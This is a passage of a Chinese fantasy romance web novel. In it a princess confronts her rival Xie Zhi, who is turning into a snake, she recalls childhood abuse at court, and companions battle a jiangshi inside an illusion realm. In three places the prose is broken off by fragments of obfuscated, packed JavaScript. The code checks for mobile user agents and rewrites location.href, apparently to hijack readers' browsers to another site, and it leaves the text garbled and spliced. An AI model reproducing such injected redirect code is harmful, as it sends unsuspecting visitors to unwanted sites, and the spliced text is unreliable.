这些人虽然会按照门第血脉给人划分成三六九等,但这些其实也并没有那么重要。她以前因母亲是屠户出身受了不少冷落白眼,可当她获得清禾公主的封号后,她的父亲自然而然便给她安排了个家世显赫却红颜薄命的母妃,又杀了一批又一批敢在背后议论中伤她真正出身的人。 谢止出了这样的大事,身为谢止师尊的清虚子不可能不知晓。 清虚子又不真是一个为了炼丹不理世事的仙者,恰恰相反,他极擅经营,又很有心计,清禾曾看到过他将炼坏的丹药当成救命圣药,高价售予那些走投无路的百姓,在那些人被丹毒发作死亡后,他又会感叹天命不佑当着那些人的面落下泪来。 清虚子绝对知情,甚至默许了这一切发生。 她不明白谢止与清虚子之间发生了什么波折,以至于清虚子要将自己的徒弟推在风口浪尖。 但她隐约明白一点。 那个完美无缺的大师兄,那个她无比艳羡、甚至嫉妒的摘星阁大弟子在一夕之内坠进了污泥里。 谢止已经无处可去了。 他只可能待在这里。 清禾仰着头估计着距离,庭院围墙太高,彼时小公主的爬墙技术也不如后来那般炉火纯青。但谢止门口有株小杏树,高度正好弥补了这一点。 此时正逢秋日,橙黄色的杏子垂挂在枝头,给压弯了本就孱弱的枝干,清禾公主身形轻盈得宛若一颗杏果或是落叶,足尖轻点便从墙头翻了进去,最后一把推开了正虚掩着的房门。 无数阵法符转在她推门刹那间被激活,耀眼弧光带着杀意直冲面门而来,清禾的脚步却并未停歇。 这其间夹杂了谢止的灵力气息,谢止果然在。 “是我。”清禾说。 想要避开全部攻击是不可能的,强闯术士居所就是这么麻烦。好在清禾熟悉谢止的路数,她矮身避开几道容易避开的袭击,至于那些避无可避的,清禾决定尽力护住要害。 她规划好了路径,但那些弧光却在她开口的刹那迅速消散。没有灵力照亮,黑暗宛若泥沼,迅速将这间房屋吞没。 “你还好吗?”清禾她听到自己的声音响起,莫名的,竟透着股紧 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更让清禾惊讶的是他的下肢,他的下肢并非人类的双足,鳞片在腰腹处逐渐汇聚,将原本是谢止双足的地方连接成了一处。 尾端细长,最后延伸到了被褥深处。 ——那是一条蛇尾。 他看见了清禾,表情却比清禾更加恐慌。 谢止遮掩着自己的面容,尽力想将那条蛇尾藏进被褥深处,但蛇尾太长,他又不太熟练,一来二去,反倒将被褥推得更远。 尾端卷起又松开,遮脸没有意义,正如谢止听见声音就能认出清禾那般,清禾也绝不会错认眼前这个少年的身份。 谢止最后还是放弃了,他放下手臂,望向清禾的眼底泛着薄薄红晕,也不知是伤心难过还是因被清禾撞破的羞恼。 良久后,他才开口,声音极轻: “这很丑,对不对。” 24. 第 24 章 谢止变成了怪物。 清禾看着面前的谢止,愣在了原地。 如今的谢止变成了一个人人憎恶的存在,他有着最卑劣的出身,身上流淌着最为肮脏的血脉,就连身体还是她最厌恶的蛇。 她是金枝玉叶的小公主,可他只不过是一个乱世中拿三袋粟米换来的下等平民。 谢止是肮脏的,下贱的,到现在,他甚至不是一个人了。 他彻底地败了。 清禾这三年无时无刻都在想着要如何彻底击溃谢止,她想要让谢止成为人人都憎恶的对象,她甚至想象过若谢止落败,惨败于自己脚边的模样。 但如今,这件事真切地出现在自己眼前。 清禾却说不出任何话来。 这一路上她早已分析够了谢止会发生这件事的原因,此时她正沉默地站在原地,藏在袖口下的指尖却悄然握紧了。 …… 谢止暴露了。 谢止失败了。 谢止输了,可他没有输在自己手上。 谢止怎么会输呢…… 谢止怎么敢输的? 自己还没有动手,谢止怎么可以自己就坏掉呢? 清禾安静地愤怒着。 这份愤怒是无端生起的,却又像野火一样蔓延着,最后满溢了清禾的心脏。她想去质问谢止,想要将他狠狠按在地上羞辱一顿,但这些都是无用的。 这一切已经切实地发生了—— “很丑吧。” 骤然从思绪拉回现实,她听到谢止的声音。 谢止在问完那句话就抿紧了嘴唇,似乎是不打算再开口。 沉浸在情绪中的清禾转了转眼珠,视线落在了蛇尾之上。 她还没来得及仔细观察他的尾巴。 眼前的这条蛇尾其实和丑陋没什么关系,甚至是邪异美艳的,就像是某些古老图腾上才会出现的神明。那种耀眼且深沉的绿色,宛若上等的翡翠,神秘而又诡谲。 此时,那条蛇尾大部分都隐藏在被褥之中,却有蛇尾那一小截自重重叠叠的被褥中探出头来,此时正不断敲打着床面。 谢止似乎是在不安。 清禾意识到了这一点。 这很正常,任何一个人在莫名其妙变成怪物后都会感到紧张和不安。清禾注意到了谢止腰上与皮肤相交的地方正生长着一片细小的鳞片,其上覆盖着白膜,就像是刚刚长出来的。 她骤然凑近谢止,谢止微微皱眉,似是想要躲开。但清禾早已将指尖碰到了他腰腹侧的鳞片上。 那里的鳞片比其他地方要更小更密,或许是因为刚形成的缘故,也更柔软一些,清禾没有控制力道,指甲划在那处鳞片上留下一道浅浅刮痕。 触感也很敏感,谢止微微瑟缩了一瞬,脸色有瞬间很不自然。 刚刚还咬紧唇打算闭嘴不言的谢止此时不得不又再次开口:“松……” 他的话没有说完。 因为清禾狠狠将自己的指尖插入其中,生生拽下了一片鳞片。 谢止发出一声沉闷地痛呼,他那条蛇尾骤然绷紧,尾尖毫不留情抽打在她的手腕上,又被她一把擒住。 这似乎是极痛苦的。 清禾能感受到指尖那枚漂亮的尾巴尖正在微微颤抖着,显得有些楚楚可怜。 但她毫不留情,依旧攥着那截蛇尾,笑了:“是的,很丑。” 清禾公主不知道谢止为何会变成现在这幅模样,但清禾很清楚一点。 这是不容于世,不可存在之物。 倘若这件事曝露于人前,谢止绝对会遭受比这严重千百倍的麻烦。 …… 空气中散着若有若无的甜香。 谢止的尾尖紧绷着,自她说出那句话之后开始用力,像是想要拼命从她的禁锢中逃脱。指尖触碰到的感觉滑腻到不可思议,那些微地抖动像是连着清禾的心跳,让她前所未有地悸动着。 谢止的确生了个好皮相,他的眼尾此时正嵌着点点如同碧玉般的细小蛇鳞,将他原本就狭长上翘的眼眸凸显得更加美艳妖异。 他就像是那种会摆在宫里易碎且满溢霞光的琉璃饰品。 谢止哪怕变成了怪物也是美丽的,这样的场景任何一个人看了都会软下心肠。 可清禾不同。 清禾早就将她与谢止划了等号。 他们是一样的。 只可惜同性只会相斥,哪会有同性相怜的道理。 清禾注意到他胸腹处的空缺已经长好了,那处自己造成的伤口上早已被新的鳞片覆盖,正以肉眼可见的速度飞快褪去白膜,最终变成了如他尾端那些排列精密的细鳞。清禾悄悄试过,在那些鳞片在褪去白膜后会变得坚硬无比,她无法再像刚才那样在他的尾端留下划痕。 清禾死死拉着他的尾巴不让他抽离,低声问:“你为什么会变成这副样子?” 谢止没有回答,他的眸中闪烁着狐疑,看着她的目光愤怒伤心又警惕——毕竟清禾刚刚才骂他的尾巴丑,况且她的演技不是很好,嘴角来不及收去的笑容可能被这条多疑的小蛇捕捉到了。 “没有关系。”清禾轻声劝慰着,语气轻柔地像是在诱哄眸中野生小动物,“只要你告诉我,我可以帮你。” 求助我吧。 依赖我吧。 成为我的……手下败将。 清虚子用三袋粟米买下了他的所有权。 她可以把筹码出得更加多一点。 清禾思索着能打动谢止的可能,提出了条件:“我帮你杀掉清虚子,如何?” …… 谢止皱着眉,看着越发阴郁,可他的尾端却很诚实地暴露了他的心绪。 那条尾巴悄然反绕上她的手臂,骤然收紧的力道让清禾回忆起蛇类似乎就是用绞杀猎物的方式进食。 于是她垂下眼眸,思索着提出了条件:“我不喜欢蛇,但你的眼睛好看,如果不咬我的话,我可以帮你解决麻烦。” 谢止依旧没有开口。 清禾观察着他的反应,皱眉又强调了一遍:“你会咬人吗?你的牙有毒吗?” 她越说越担心,伸手想要掰开他的口腔看看他有没有长出蛇类的毒牙。 “我不会咬你。”谢止忍无可忍,躲开了清禾的袭击,“我又不是一条真蛇!” 清禾眼巴巴看着他。 “这是巫血外显,巫楚血脉几经断绝,我是最后还传承着这份血脉的人。”谢止叹了一口气,如今,他的眼眸也变成了类蛇般的竖瞳,“这份血脉到了我身上已极稀薄,我本不会展现出蛇的形态,但清虚子却利用秘法,强行提纯了我的血脉,这才导致了我的变化。至于巫血是什么,你虽是武修,但那本是武修和内修修士都需通读的书籍上的内容,你应该看过。” 那本书里说,巫血是祸患,身上流有巫血之人是应当被憎恶被铲除的存在。 谢止不再言语,他在观察着清禾的反应,在看到清禾恍然大悟之后,他的蛇瞳闪烁着冰冷甚至有些阴毒的目光。 她知道巫血是什么,那她会做什么反应,是会厌弃,会恐惧,还是被吓到直接夺门出去。 如果是清禾的话…… 逃跑不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我当时不过是个普通的孩童,被人牙子拐卖去了某个村子。当时天衍处处征战,民间则闹起了饥荒。人牙子选择的那个村落虽然相对而言算是富户,但比那些挨饿受冻的难民好不了多少。所以清虚子很轻易便打动了人牙子,从他们手上买走了我。” “他引我入仙盟,教我修行,虽是严厉了些,但清虚子为人师长,严厉无可厚非,我对他是感激的。不过后来,我偷偷看到了他背地里的研究……” 清虚子之所以会严厉教习谢止,帮助谢止提升修为,也不过是为了让他作为药引发挥出更大价值。 彼时谢止还未曾入门,那些文字对于一个孩童而言晦涩难懂,但身体上的异变却是明晰的。谢止本就在人牙子手上养足了警惕心,在看清清虚子真面目之后,他就开始想应对逃生的办法。 “……你修行是为了自己做选择,我修行,却只是为了求生。”谢止语调讥嘲,“清虚子想中和我体内巫血的毒性供他修行,而我则在找寻摆脱此人的方法。我们背地里已经相互较劲了很多年,如今他之所以在人前暴露我的身世,也不过是将这件事摆在了明面上。” “他可能已经找到了处理巫血的办法,想要将我限制在这里……” 清禾点了点头,抓住了主要矛盾:“所以我们要提前干掉清虚子。” “不是。”谢止闭了闭眼,深吸一口气。 “清虚子很危险,你不该参与其中……”谢止声音压得很低,哪怕到了这种关头,他依旧非常冷静,“你没有必要为了我去冒这份风险。” 谢止静静注视着清禾,类野兽般的蛇瞳显得他整个人冰冷可怕且与其它人族格格不入。 但他唇角却带着抹浅淡的笑意—— “清禾,我知道的,你一直都很讨厌我。” 这是整个摘星阁人人皆知的事实,清禾对谢止的厌恶从不遮掩,向来表露在明面。 25. 第 25 章 她的确很厌恶谢止。 哪怕到了现在,她来见谢止的目的也不单纯。 早在清禾迟疑的功夫,谢止已经确认了她的答案。 “你和我处境不同,你没必要趟这趟浑水。”谢止劝道,“走吧。” 清禾没有动。 她沉默了很长一段时间,才终于开口:“我的确讨厌你。” 这算不上什么秘密,但如今她亲口承认了一切。 谢止看上去有些无奈:“我知道了,你没有必要再说一遍。” 清禾沉默地攥着谢止的尾巴,但清禾能感受到,那条尾巴正在不断用力,想要从自己的手中脱离。 “我的母亲出身屠户。”清禾沉默了许久才开了口。 她觉得自己的声音沙哑,活像是块干瘪的老木头:“仙盟虽然也在乎血统,但也会论修为资质,皇室却只看重出身。” 清禾闭上眼:“宫主争斗繁多且残忍,我的母妃不擅长应对这些,在我出生后不久便死去了。我小的时候,过得其实不是很好。” 母妃死后,和她同住一宫的娘娘嫌弃母亲的长春宫死过人晦气,便搬离了此处,最后便只剩下她一人还住在母妃死在的那处偏房里,成为了那些长在皇宫里的皇子公主们欺辱的对象。 清禾公主的童年并不长,回忆也乏善可陈。 永远发馊如泔水一样的饭食,永远湿漉漉的发霉衣裳,小孩子的恶意还学不会遮掩,他们将凌辱同伴当成了乐趣,经常会在暗地里或者明面上肆意嘲笑着她的出身,骂她是克死母亲的灾星。宫中那些太监宫女虽然目睹了这一切,却装聋作哑。清禾在这样的环境中非常快速地成长,磨练出了自保能力,却也只能堪堪维持活着而已。 “受宠的皇子公主与不受宠的差距很大,待遇也是天壤之别。我的一位兄长,是其中最受宠的一个。他的母妃是当朝皇后,很得父皇看重,早早便被册封为太子,自小便跟随父皇征战四方。有一日我躲在假山中,恰好碰上了正班师回朝,在花园练习箭术的太子。” 她当时不过是为了躲藏起来避开那些人的追击,倘若她知道那位太子今日回宫,她会躲得更远一些。 尽管那位太子在外风评不错,在天衍百姓眼中,太子温良恭俭、敦和有礼,很得民心。 清禾也听说过这位太子在外的美誉,可她并不很在意,清禾很聪明,她早早便想明白了一个道理——她在这宫里头生活了那么久,他们不可能不知情,倘若她的兄长父亲当真在乎,便不可能放任这件事在他们眼皮子底下发生。但若他们不在乎,她求助也是无用的。 可小清禾趴在假山间,看那些闪着寒芒的箭簇,看着太子在烈日之下弯弓对日,招招直中靶心,还是没忍住看呆了眼去。 忽然一支箭簇偏了靶子,直冲她的面门而去,最后重重钉在了她身旁的假山壁上。清禾吓得浑身僵直不敢动弹,才缓过神却被一把拎了起来。 太子拎着她的后颈,将她生生自假山后拖了出来:“我还以为是哪儿来的小鹿,原来是个野丫头。” 他皱着眉,神情似有不悦:“哪儿来的?” 站在太子身旁的宫人连忙上前:“是住长春宫的小殿下,可能是宫里人没看严乱跑跑了出去。还不快把她带回去?” 他说着给身旁太监使了个眼色,那太监慌慌张张,想将清禾带离。 这一切都没有出乎清禾的预料,她垂着脑袋,任由太子拎着,思索着被带回去后又要怎样摆脱那些堵在她家门口的人。 太子却没放手,清禾年岁尚小且身子瘦弱,他很轻易便将她提到了自己的眼前:“怎么说,她是本殿的妹妹?” 话是如此,但这不过是个不受宠的灾星罢了,哪配当太子的妹妹,众人拿不准太子的意思,纷纷低下头不敢言语。 “本殿没有这样的妹妹......脏死了。”那位太子嘴角擒着笑,对下属道,“把她扔进荷花池里去。” 莲池水深,大人掉进这池子里都不一定能爬出来,更何况是个身量还比不上荷叶大的小孩。 眼看公主被欺负不去汇报是一回事,但害死皇室血脉的后果却绝不是他们能担得起的,那些宫人纷纷垂下头,生怕被太子点名。 清禾奋力挣扎起来,声嘶力竭地呼救着,但那些宫人始终都未曾抬起过头。最后太子迈步走到莲花池前,笑着松开了手臂。 扑通—— “我在那个池子里待了一夜,但我没有死去,自那以后我的敌人就多了一个,我记恨太子,来苍坪山之后,我却将我对他的厌恶迁怒到了你的身上。” 她并没有来得及报复回去,哪怕她的生活境遇在她刻意“偶遇”父皇后有了改善,可之后清禾很快便被送去了苍坪山。 在苍坪山的时候她一门心思想要打赢谢止,她将完美的谢止当成自己的假想敌而存在,证明谢止输给自己,便仿佛能证明什么东西。 但谢止并不是她那位完美的哥哥,击败谢止并不能让她得到任何切实的好处。 谢止是无辜者,无端承担着他本不应当承担着的感情。 她越与谢止对抗就越清楚这一点,她明白谢止与太子的不同。她已经有些习惯了与谢止的这种相处方式,她也不明白自己究竟对谢止抱有着什么感情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她与谢止敌对了整整三年,无论输赢她都会打到最后,像这样落荒而逃却是头一回。 清禾的心绪纷乱极了,她甚至有些庆幸谢止变成了蛇,无法追上来看到她的窘态。 她一路跑到了门口,才强笑道:“我会帮你杀死清虚子,你……” 但下一刻,一只手臂拉住了她。 少年身形修长,臂膀宽阔,站起来时比她整整高了半个头。 他动作轻柔,却近乎将清禾整个人都笼罩入了自己怀中:“清禾,我们一起远走高飞,好不好。” 26. 第 26 章 好闻的檀香味充斥着鼻尖。 清禾却浑身僵硬站在原地。 谢止可以变成人。 他的确没有说谎,却也只说了部分真相。 清虚子算计他不假,但清虚子的那些算计,他难道就真的这样懵然无知,毫不知晓吗? 是了,谢止的心思就像是他的阵法一样诡谲繁复,且捉摸不透,既然他早就知道清虚子的目的,还为此准备了那么多年,他就不可能没有替自己留好后手。 清禾有一种强烈的,被愚弄的感觉。 似乎察觉到了气氛的异常,谢止垂下眼眸,他将她的手放在自己的脸侧,那里的鳞片没有褪去,摸起来会有种滑腻的触感,就像是裹着绸缎的大理石。 他展现得非常脆弱,但清禾早就被他这副装可怜的扮相骗过一回,那会再被骗一次。 清禾狠狠将自己的手抽了回去:“松手!” ...... “松手啊?!” 雪原上,三道人影正在激烈战斗着,其中一道人影明显强于其他二人,只一跺脚便将两人冲飞出去。 得了纯钧提醒,元丰松开手上擒着的锁链,没有真的被这僵尸掀开。 “所以贺玄青同那清禾公主到底是什么关系?”元丰越想越不对劲,他矮身避过僵尸的攻击,询问道,“那小孩儿是我家阁主吧,为何也在梦中?” 他们二人此时正与那宗师级别的僵尸战斗,贺玄青说了那僵尸有障门,却没说那障门在何处,他们只得挨个试探,好在这僵尸看着像是没有神智,给了他们与之而战的机会。 “少咒我家宫主,我们宫主的名字岂是你能叫的。”纯钧被他的聒噪吵得头疼,横刀直冲着那僵尸连斩十二刀, “你是没读过史书吗?摘星阁阁主清虚子失踪,时逢天衍大乱,先皇先皇后相继病逝,太子也不见踪影,清禾公主被接回宫中。回宫六个月后便传出了死讯,说是哀痛欲绝,呕血而亡。” 纯钧的斩击未给那僵尸造成一丝一毫的伤害,反倒让僵尸发了狂,拴在他脖颈的锁链翻卷起庞大罡风,将他们二人掀开。 元丰勉力控制住身形,没有让这罡风刮倒:“可你不说这幻境是根据进入幻境之人的痛苦回忆构建的吗?” “谁知道宫主是不是参与进了当年的事情,当年宫主年纪不大,目睹仙盟朝堂的争斗,会产生阴影也很正常。”纯钧差点被锁链扫中,他持刀横档在半空中挡下锁链,气急怒斥,“你究竟会不会打架?” 锁链被他的刀弹开,冲着元丰直直砸去。 “你是武修你了不起啊!”元丰差点被这横空而来的锁链击中,狠狠翻了个白眼。 纯钧找准机会又给那僵尸来了一刀,冷冷回怼:“菜,就多练。” 摘星阁的修士与风波宫有很大差别,风波宫中人以武入道,多为剑修、刀修,或者其他以兵器为主的修者。摘星阁则不同,其主修心法,以丹修,符修、法修居多。 修行心法的修者早期修行需得要花费大量时间阅读典籍,打磨心性,武艺上较直接习武道者是要吃亏一些的。所以像元丰这样修行还未有成的内修修者,一般都是在后方辅助,甚少直接面对敌人。 不过这些差距等修到了一定程度完全可以忽略不计,就比如摘星阁的阁主谢止,传言他当年为救发妻强闯风雪涧,还因此接连重伤皇宫内好几位宗师级强者,替广大内修修士狠狠长了脸。 “等我们阁主来了,定要你这等武蛮子见识一下我们心法修士的厉害!”元丰落下句狠话。 话是这样说的,但元丰知晓,眼下情景绝对不能让自家阁主看见。 毕竟若是阁主看到这种情况,比起替他证明武道心法孰优孰劣,更有可能的会让他这不成器的弟子狠狠加练。 愣神的功夫那僵尸的招式又袭到眼前,元丰顺着僵尸掀起的气浪往后循疾退数步,这才勉强安稳住身形,他身旁的纯钧亦是如此,他冲着元丰翻了个白眼,而后继续提刀斩向那僵尸。 对手强到变态,队友却在互相拖着后腿,他们这一场打得异常艰难。元丰能瞧见纯钧的刀势不如先前猛烈,已然展露出了些许颓势。 这也是没有办法的事,人力有穷时,僵尸却不知疲累。若他们不想些别的办法,结局只能是耗死在这里。 元丰迟疑片刻,最终还是下定了决心:“其实我还有一个招式,但......” 纯钧专心致志抵抗着面前的进攻,闻言只用鼻腔哼了一声:“嗯?” 元丰道:“我的武器里封着一位强大的幻灵,我可以将它短暂放出来,但我控制不住它。” “用。”纯钧毫不迟疑,他一把挑飞僵尸飞起的锁链,刀刃在锁链摩擦间划出火花。 “可它很有可能会无差别攻击你我......”元丰还是有些犹豫,“可能会给我们带来更大的麻烦。” “用就是了。”纯钧收回刀势,唇角勾起一模薄笑,“我们风波宫只出过叛徒,可从未出过什么孬种。” ...... 眼看僵尸又要冲着他们二人而来,元丰咬了咬牙,从怀中掏出自己的武器。 他的武器与纯钧不同,是个形制古朴的骨笛。 这骨笛是他在某次历练中偶然所得,内里的幻灵阁主说若是能完全发挥,其实力不亚于现今已经显圣的三位强者。但元丰如今修为不够,只能发挥出其中三层威力。 面对宗师级别的修者或许不够,但那僵尸没什么神智,或许还能搏上一搏。 纯钧在瞧见元丰的武器是一支笛子后就自觉挡在了前面,牵制住了老者。元丰深吸一口气,将骨笛凑近唇端:“如果我们运气好的话,幻灵灵体呈现出蓝色,运气不好的话,幻灵变为橙色,我们就会多出一个敌人。” 纯钧点了点头,示意自己知情了。 元丰深吸一口气,闭上眼睛:“三、二、一......” 随着倒计时结束,无形威压霎时间笼罩住在场三人,僵尸察觉到危险,本能让他停止了对纯钧的攻击,将视线转移到了元丰身上。 但纯钧皱着眉,谨慎横刀后退一步,并未放松警惕,迟疑着问:“那如果……是红色呢?” 元丰也已经睁开了眼睛,他看着背后的灵体,脸色煞白:“不,这不可能!” 他的感叹根本来不及说完,那庞大犹如山棱般的灵体扬起半透明的手臂,却切实砸向了地面,将他们二人狠狠砸飞了出去。 僵尸的胸前也被这冲击贯穿出一个血洞,但它并未死去,僵尸嚎叫一声,冲着那幻灵冲去。 纯钧眼疾手快一手拽住飞到半空的元丰的衣领,一手将刀深深插入雪中。 刀刃在雪原中划出道长长痕迹,好歹没让他们真的滚出百里。 纯钧抖了抖粘在刀上的雪和泥,有些心疼:“红色是什么意思,你是不是不好好听课记岔了?” “正常幻灵不可能呈现这个颜色!”无端被人指责学艺不精,元丰气得满脸通红,他想反驳,却看纯钧捂住胸口,竟是往外吐了口血。 纯钧看着毫不在意,吐完血后擦擦嘴角就接着加入了战局,元丰有些歉疚,没有回嘴,悠扬音符自他手中的骨笛发出,是一首能够清心安神的曲目。 老僵行动减缓,可那幻灵却像是没有受到影响,它大手一挥,便有无数雪化水为雾,冲着三人袭去。 这可是沾染了污染的东西,纯钧疾退数步,就连原本锋锐的刀刃都被腐蚀出了几个黑漆漆地深坑。 “不对。”越是吹奏,元丰脸色却越发难看起来,“怎么可能会没用处?” 究竟是什么原因?难道真的是他学艺不精,念错了曲子? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978462|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不、不可能,旁的东西不熟悉也就罢了,这可是元丰的本命武器,若连这武器都用不好,他还当劳什子的修士,还修哪门子的仙? 元丰面色煞白,危机关头下,脑海中的思路反倒变得格外清晰。各种阅读过的经卷在他脑海中相继闪过,最后,他恍然想起来自己当年初初入门时看过的书籍。 《百修传》——那本由风波宫承办印刷的,供给平民修道的基础入门书册。 他少时家贫,没有其他修行典籍,这唯一的一本他翻来覆去读了许多遍,早能将其中内容牢记在心。 “环境会影响着灵力的气息,修士若是沉下心来感受便能发掘其中的细微变化。”元丰回忆着书里的描述,沉浸感受着,“风,风的气息……” “杀戮,血腥,暴虐——是战场煞气!” “这里有战场煞气!”元丰恍然大悟,“幻灵是自然之物,对环境变化极其敏锐。而这煞气恰好激发了幻灵的凶性,所以幻灵才会变成红色。” “足以引发幻灵暴动的煞气那得深重到什么程度?”顺着线索思考,元丰却更加疑惑,“没听说过照月城打过什么大仗啊?” 纯钧关注的方向与他不同:“自然之物都会受影响吗……那,宫主的呢?” 贺玄青之前在郡守面前露出的那橙黄色影子浮现在脑海。元丰看着纯钧咬死的牙关,知道他在担忧什么。 “只要不召唤出来就没事。”元丰安慰道,“贺宫主既然收服那灵物,就肯定有制住他的法子。” 纯钧丝毫没有被他的安慰打动,在得到元丰的回答之后,他几乎是毫不迟疑就做下了抉择:“她绝不能出事,我要去找宫主。” 在纯钧说话的时候。幻灵砸出道道浓雾,僵尸则冲着他们挥出锁链,咆哮声和僵尸嘶哑吼叫混杂在一起,巨大声响引动了远处山脉。无尽的白色洪流,从高耸的山峰之巅咆哮而下,仿佛要将世间的一切都吞噬殆尽。 雪崩了。 场面乱七八糟,还有个风波宫的傻逼叫嚣着宫主在那个方向,不管不顾就要往那里冲。 简直是疯了。 虽然幻灵没有实体不受影响,但没看见那老僵被雪吞没时就连吱都没吱一声就直接消失了吗? 元丰用尽浑身力气拽住往雪崩里冲的纯钧,还得压制防备背后随时都会反扑的幻灵,简直身心俱疲,绝望到了极点。 …… 耳畔忽然传来一道极模糊的声音:“巫……” 元丰猛得抬起头。 雪原风声太大,但隐隐约约地元丰好像听到了自家阁主的声音。 “……血……我……” 虽然声音年轻了些,但这是自家阁主的声音没错的。 手底下的挣扎似乎缓和了些许,元丰连忙开口:“幻境没有崩塌,境主肯定没事!” 也不知是幻境升级,还是雪崩引发出的异变。 但现在这个关头只要是个和阁主沾边的东西出现,哪怕是那幻境造物对元丰而言都是好的,元丰激动万分,奋力捕捉着声音来处。 “……体内不稳定,我每日能维持人形的时间有限......不是在骗你。” 元丰原本激动的表情变为了古怪,他怎么总觉得这声音有些…… 过于黏糊了。 “我可以。” 自家向来不苟言笑的阁主声音清晰地传入他的耳中,甜得像是能浸出蜜, “我可以做你的小蛇吗?” 砰! 是纯钧被那幻灵硬生生砸进土里的声音。 元丰也没有好到哪里去,他也不管幻灵了,手里捧着骨笛,神游天外,“我是不是陷入了幻境。” “我是活着,还是死了,还是已经疯了?”元丰脚趾死死扣着雪地,真诚对着幻灵发问,“我真的还能看到明天的太阳吗?” 27. 第 27 章 …… 幻境中。 难以言喻的愤怒充斥着贺玄青的胸腔,这是她以往仗着修行无情道毫无顾忌斩杀雪魄时从未体会过的感觉。 如果是十六岁的清禾还可能会因谢止的隐瞒而愤怒,但可惜的是,这个幻境里的清禾只是个空壳,里头装着的是十五年后早已变得老谋深算的贺玄青。 贺玄青早就知道谢止是变态这件事,又怎么会因为一个变态变态而生气呢。 哪怕心绪翻涌得再厉害,贺玄青内心却依旧平和,她任由少年版谢止笼住自己的手臂,心绪却飘到了别处去。 幻境会激起她最痛苦的过往,清禾最后悔的便是上了苍坪山拜清虚子为师,所以幻境重演,让她重过了一遍她在苍坪山刻苦修行的时光。 浮屠境只能由境主破除,这些温吞的消耗宛若钝刀子割肉,终会将她整个人一点一点消磨殆尽。 想要破境也很简单。 只要她放下执念,不再记恨清虚子,没有痛苦支撑,幻境自然消散。 贺玄青是大度的人吗? 她从来不是。 倘若清虚子还在世,她绝对将他送进风波宫体会一下什么叫生不如死,哪怕清虚子死了,她也想将他的尸体挖出来再杀一遍。 贺玄青从不指望自己能看破幻境,她只是在等。 清禾上苍坪山的第四年,她与谢止合谋算计清虚子使之堕为飞僵,而后,他们杀死了他。 幻境绝对会重演这一点。 像清虚子这样的大能,死前爆发出的力量非同凡响,浮屠境倘若模拟不出来当时的场景,说明幻境有瑕,自会破除。若浮屠境可以模拟出当时的场景,幻境造成的冲撞也足以震荡这个小世界。 她只要抓住这个时机便能破局。 贺玄青对自己的判断向来充满自信,她顺着浮屠境摆弄按部就班走完了前三年,却恍然发觉这三年清禾好像并非她所想的那般只是一门心思沉下来修炼——她居然成天惦记着想要打赢谢止,还惦念了整整三年。 这一幕幕都像是对自己的公开处刑,愤怒没有多少感觉,贺玄青越看越觉得羞恼,被尴尬到难以呼吸。 贺玄青心里咒骂着简直无处不在,就连自己的噩梦都要霸占的谢止,气鼓鼓想。 ——还好没让外面那些小辈看见,要不然她风波宫宫主的面子要往哪儿搁。 “巫血在体内不稳定,我每日能维持人形的时间有限......不是在骗你。” 有瞬间幻境剧烈震颤起来,贺玄青虽不明所以,但这也是她破境的机会。橙芒毫不犹豫自她的眼前探出,直冲幻境最脆弱的内核而去。 手上的拉扯感加剧,贺玄青回过头,瞥见了神情阴郁,却莫名让人感觉好像带了点紧张的少年。 谢止在说什么? 好像是说他自己血脉不稳,维持不住人形。 贺玄青当然知道谢止不太能好好维持住人形,她还知晓谢止有三种形态,除却人和半蛇,谢止还能变成一条小青蛇,那条蛇的身量还抵不过几根筷子粗,而且极怕冷,每逢冬日,被迫变蛇的谢止还会趁自己睡着偷偷爬到自己的手腕上盘着取暖…… 不过自谢止继任摘星阁后好像就再也没有出现过这种情况,贺玄青觉得有些惋惜。 眼看贺玄青没有回答,好像是不信他的说辞,谢止急迫起来。 他咬了咬唇,忽道:“我可以做你的小蛇!” 被这一句话雷得外焦里嫩,贺玄青浑身一哆嗦,彻底清醒了。 …… “你不是想养要一条小蛇吗?” “我可以做你的小蛇。”谢止垂着眼眸的样子又漂亮又可怜,“我吃的……不是很多。” 不,你还是别再说了。 贺玄青有些怜悯地看着谢止。 谢大阁主的威仪在这短短几句话的功夫就被浮屠境造了个干净。在公开处刑这方面,幻境至少做到了平等对待。 轰隆震响自耳畔传来,地面某处被橙芒轰出一道巨大的豁口,那豁口此时正向外弥漫着不详的黑色气息,深得仿佛永远看不到尽头。 贺玄青想也不想便要从那处冲去,却被小谢止拽住。 紧握着自己的手腕哪怕用力到痉挛都始终不肯松开,哪怕这只是个幻境,但小谢止毕竟是无辜的,她也不想将他的胳膊扯断。 “好兄弟,我会破浮屠境给你我报仇的。”贺玄青颇为同情地拍了拍他的肩膀,好歹是安慰了一句,而后,她毫不犹豫,转身直冲那洞口奔去。 她给少年谢止施了层定身术。 看自己被公开处刑和看别人被公开处刑是两种心态,要不是谢止不在,贺玄青真想看看他亲耳听到自己说出这种话时的表情。 只可惜了,那老阴货不在。 “你怎能?……清禾,你要去哪里?我不允许你离开这里……明明是你自己主动进来的,明明是你先……” 贺玄青闻声回过头,望向了小谢止的方向。 少年谢止默默站在原处,他浑身僵硬着无法动弹,但从他浑身紧绷着的肌肉可以看出他正在奋力挣扎着,小谢止的眼神偏执疯狂到近乎和野兽无异。那种阴霾表情微妙与现在的谢止有了部分重合。 